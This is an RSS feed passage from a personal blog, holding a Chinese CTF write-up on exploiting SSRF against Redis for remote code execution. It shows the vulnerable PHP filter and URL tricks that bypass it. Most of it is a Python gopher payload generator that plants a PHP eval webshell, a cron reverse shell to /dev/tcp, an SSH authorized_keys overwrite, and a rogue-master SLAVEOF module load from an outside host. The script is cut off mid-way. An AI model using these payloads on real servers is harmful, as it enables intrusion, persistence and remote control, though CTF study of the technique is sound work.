<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>刘功瑞的博客</title><link>http://www.liugongrui.com/</link><description>有一天你突然惊醒，发现这一切，都只不过是一场梦。</description><item><title>ssrf redis 远程命令执行 rce </title><link>http://www.liugongrui.com/?id=263</link><description>&lt;p&gt;网鼎杯玄武组题目，ssrf代码&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-php&quot;&gt;&amp;lt;?php
function&amp;nbsp;check_inner_ip($url)
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$match_result=preg_match(&amp;#39;/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/&amp;#39;,$url);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!$match_result)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;die(&amp;#39;url&amp;nbsp;fomat&amp;nbsp;error&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$url_parse=parse_url($url);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch(Exception&amp;nbsp;$e)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;die(&amp;#39;url&amp;nbsp;fomat&amp;nbsp;error&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$hostname=$url_parse[&amp;#39;host&amp;#39;];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$ip=gethostbyname($hostname);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$int_ip=ip2long($ip);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;ip2long(&amp;#39;127.0.0.0&amp;#39;)&amp;gt;&amp;gt;24&amp;nbsp;==&amp;nbsp;$int_ip&amp;gt;&amp;gt;24&amp;nbsp;||&amp;nbsp;ip2long(&amp;#39;10.0.0.0&amp;#39;)&amp;gt;&amp;gt;24&amp;nbsp;==&amp;nbsp;$int_ip&amp;gt;&amp;gt;24&amp;nbsp;||&amp;nbsp;ip2long(&amp;#39;172.16.0.0&amp;#39;)&amp;gt;&amp;gt;20&amp;nbsp;==&amp;nbsp;$int_ip&amp;gt;&amp;gt;20&amp;nbsp;||&amp;nbsp;ip2long(&amp;#39;192.168.0.0&amp;#39;)&amp;gt;&amp;gt;16&amp;nbsp;==&amp;nbsp;$int_ip&amp;gt;&amp;gt;16;
}

function&amp;nbsp;safe_request_url($url)
{

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(check_inner_ip($url))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;$url.&amp;#39;&amp;nbsp;is&amp;nbsp;inner&amp;nbsp;ip&amp;#39;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$ch&amp;nbsp;=&amp;nbsp;curl_init();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;curl_setopt($ch,&amp;nbsp;CURLOPT_URL,&amp;nbsp;$url);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;curl_setopt($ch,&amp;nbsp;CURLOPT_RETURNTRANSFER,&amp;nbsp;1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;curl_setopt($ch,&amp;nbsp;CURLOPT_HEADER,&amp;nbsp;0);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$output&amp;nbsp;=&amp;nbsp;curl_exec($ch);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$result_info&amp;nbsp;=&amp;nbsp;curl_getinfo($ch);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;($result_info[&amp;#39;redirect_url&amp;#39;])
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;safe_request_url($result_info[&amp;#39;redirect_url&amp;#39;]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;curl_close($ch);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var_dump($output);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

}
if(isset($_GET[&amp;#39;url&amp;#39;])){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$url&amp;nbsp;=&amp;nbsp;$_GET[&amp;#39;url&amp;#39;];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(!empty($url)){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;safe_request_url($url);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
}
else{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;highlight_file(__FILE__);
}
//&amp;nbsp;Please&amp;nbsp;visit&amp;nbsp;hint.php&amp;nbsp;locally.
?&amp;gt;&lt;/pre&gt;&lt;p&gt;根据提示需要读取hint.php的内容&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://39.97.160.127/?url=http://baidu.com@0.0.0.0:80@lgr/hint.php&quot;&gt;http://39.97.160.127/?url=http://baidu.com@0.0.0.0:80@lgr/hint.php&lt;/a&gt;&amp;nbsp; 可以读取到文件内容&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591148072203416.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;提示了redis密码是test，应该是要用ssrf打redis，我们直接打rce&lt;/p&gt;&lt;p&gt;先使用dict探测6379端口，提示noauth，需要密码&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591148149779407.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://39.97.160.127/?url=dict://baidu.com@0.0.0.0:6379@lgr/AUTH%20test&quot;&gt;http://39.97.160.127/?url=dict://baidu.com@0.0.0.0:6379@lgr/AUTH%20test&lt;/a&gt;&lt;/p&gt;&lt;p&gt;出现了两个ok，说明密码正确&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591148252155451.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;使用脚本生成ssrf redis rce 的payload&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;#!/usr/local/bin&amp;nbsp;python
#coding=utf8

try:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;from&amp;nbsp;urllib&amp;nbsp;import&amp;nbsp;quote
except:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;from&amp;nbsp;urllib.parse&amp;nbsp;import&amp;nbsp;quote

def&amp;nbsp;generate_info(passwd):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;info&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;quit&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;passwd:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd.insert(0,&amp;quot;AUTH&amp;nbsp;{}&amp;quot;.format(passwd))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;cmd

def&amp;nbsp;generate_shell(filename,path,passwd,payload):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=[&amp;quot;flushall&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;set&amp;nbsp;1&amp;nbsp;{}&amp;quot;.format(payload),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;config&amp;nbsp;set&amp;nbsp;dir&amp;nbsp;{}&amp;quot;.format(path),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;config&amp;nbsp;set&amp;nbsp;dbfilename&amp;nbsp;{}&amp;quot;.format(filename),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;save&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;quit&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;passwd:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd.insert(0,&amp;quot;AUTH&amp;nbsp;{}&amp;quot;.format(passwd))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;cmd

def&amp;nbsp;generate_reverse(filename,path,passwd,payload):&amp;nbsp;#&amp;nbsp;centos

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=[&amp;quot;flushall&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;set&amp;nbsp;1&amp;nbsp;{}&amp;quot;.format(payload),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;config&amp;nbsp;set&amp;nbsp;dir&amp;nbsp;{}&amp;quot;.format(path),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;config&amp;nbsp;set&amp;nbsp;dbfilename&amp;nbsp;{}&amp;quot;.format(filename),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;save&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;quit&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;passwd:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd.insert(0,&amp;quot;AUTH&amp;nbsp;{}&amp;quot;.format(passwd))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;cmd
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
def&amp;nbsp;generate_sshkey(filename,path,passwd,payload):

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=[&amp;quot;flushall&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;set&amp;nbsp;1&amp;nbsp;{}&amp;quot;.format(payload),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;config&amp;nbsp;set&amp;nbsp;dir&amp;nbsp;{}&amp;quot;.format(path),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;config&amp;nbsp;set&amp;nbsp;dbfilename&amp;nbsp;{}&amp;quot;.format(filename),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;save&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;quit&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;passwd:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd.insert(0,&amp;quot;AUTH&amp;nbsp;{}&amp;quot;.format(passwd))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;cmd
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
def&amp;nbsp;generate_rce(lhost,lport,passwd,command=&amp;quot;cat&amp;nbsp;/etc/passwd&amp;quot;):

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exp_filename=&amp;quot;exp.so&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;SLAVEOF&amp;nbsp;{}&amp;nbsp;{}&amp;quot;.format(lhost,lport),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;CONFIG&amp;nbsp;SET&amp;nbsp;dir&amp;nbsp;/tmp/&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;config&amp;nbsp;set&amp;nbsp;dbfilename&amp;nbsp;{}&amp;quot;.format(exp_filename),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;MODULE&amp;nbsp;LOAD&amp;nbsp;/tmp/{}&amp;quot;.format(exp_filename),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;system.exec&amp;nbsp;{}&amp;quot;.format(command.replace(&amp;quot;&amp;nbsp;&amp;quot;,&amp;quot;${IFS}&amp;quot;)),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;quot;SLAVEOF&amp;nbsp;NO&amp;nbsp;ONE&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;quot;CONFIG&amp;nbsp;SET&amp;nbsp;dbfilename&amp;nbsp;dump.rdb&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;quot;system.exec&amp;nbsp;rm${IFS}/tmp/{}&amp;quot;.format(exp_filename),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;quot;MODULE&amp;nbsp;UNLOAD&amp;nbsp;system&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;quit&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;passwd:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd.insert(0,&amp;quot;AUTH&amp;nbsp;{}&amp;quot;.format(passwd))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;cmd

def&amp;nbsp;rce_cleanup():
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exp_filename=&amp;quot;exp.so&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;SLAVEOF&amp;nbsp;NO&amp;nbsp;ONE&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;CONFIG&amp;nbsp;SET&amp;nbsp;dbfilename&amp;nbsp;dump.rdb&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;system.exec&amp;nbsp;rm&amp;nbsp;/tmp/{}&amp;quot;.format(exp_filename).replace(&amp;quot;&amp;nbsp;&amp;quot;,&amp;quot;${IFS}&amp;quot;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;MODULE&amp;nbsp;UNLOAD&amp;nbsp;system&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;quit&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;passwd:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd.insert(0,&amp;quot;AUTH&amp;nbsp;{}&amp;quot;.format(passwd))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;cmd

def&amp;nbsp;redis_format(arr):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CRLF=&amp;quot;\r\n&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;redis_arr&amp;nbsp;=&amp;nbsp;arr.split(&amp;quot;&amp;nbsp;&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=&amp;quot;&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd+=&amp;quot;*&amp;quot;+str(len(redis_arr))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;x&amp;nbsp;in&amp;nbsp;redis_arr:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd+=CRLF+&amp;quot;$&amp;quot;+str(len((x)))+CRLF+x
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd+=CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;cmd

def&amp;nbsp;generate_payload(passwd,mode):

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload=&amp;quot;test&amp;quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;mode&amp;nbsp;==0:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;filename=&amp;quot;shell.php&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;path=&amp;quot;/var/www/html&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;shell=&amp;quot;\n\n&amp;lt;?=eval($_GET[0]);?&amp;gt;\n\n&amp;quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=generate_shell(filename,path,passwd,shell)

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif&amp;nbsp;mode==1:&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;filename=&amp;quot;root&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;path=&amp;quot;/var/spool/cron/&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;shell=&amp;quot;\n\n*/1&amp;nbsp;*&amp;nbsp;*&amp;nbsp;*&amp;nbsp;*&amp;nbsp;bash&amp;nbsp;-i&amp;nbsp;&amp;gt;&amp;amp;&amp;nbsp;/dev/tcp/192.168.1.1/2333&amp;nbsp;0&amp;gt;&amp;amp;1\n\n&amp;quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=generate_reverse(filename,path,passwd,shell.replace(&amp;quot;&amp;nbsp;&amp;quot;,&amp;quot;^&amp;quot;))

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif&amp;nbsp;mode==2:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;filename=&amp;quot;authorized_keys&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;path=&amp;quot;/root/.ssh/&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pubkey=&amp;quot;\n\nssh-rsa&amp;nbsp;&amp;quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=generate_sshkey(filename,path,passwd,pubkey.replace(&amp;quot;&amp;nbsp;&amp;quot;,&amp;quot;^&amp;quot;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif&amp;nbsp;mode==3:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lhost=&amp;quot;122.51.254.197&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lport=&amp;quot;5555&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;command=&amp;quot;whoami&amp;quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=generate_rce(lhost,lport,passwd,command)

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif&amp;nbsp;mode==31:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=rce_cleanup()

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif&amp;nbsp;mode==4:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=generate_info(passwd)

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;protocol=&amp;quot;gopher://&amp;quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ip=&amp;quot;127.0.0.1&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;port=&amp;quot;6379&amp;quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload=protocol+ip+&amp;quot;:&amp;quot;+port+&amp;quot;/_&amp;quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;x&amp;nbsp;in&amp;nbsp;cmd:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload&amp;nbsp;+=&amp;nbsp;quote(redis_format(x).replace(&amp;quot;^&amp;quot;,&amp;quot;&amp;nbsp;&amp;quot;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;payload

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;

if&amp;nbsp;__name__==&amp;quot;__main__&amp;quot;:&amp;nbsp;&amp;nbsp;&amp;nbsp;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;0&amp;nbsp;for&amp;nbsp;webshell&amp;nbsp;;&amp;nbsp;1&amp;nbsp;for&amp;nbsp;re&amp;nbsp;shell&amp;nbsp;;&amp;nbsp;2&amp;nbsp;for&amp;nbsp;ssh&amp;nbsp;key&amp;nbsp;;&amp;nbsp;
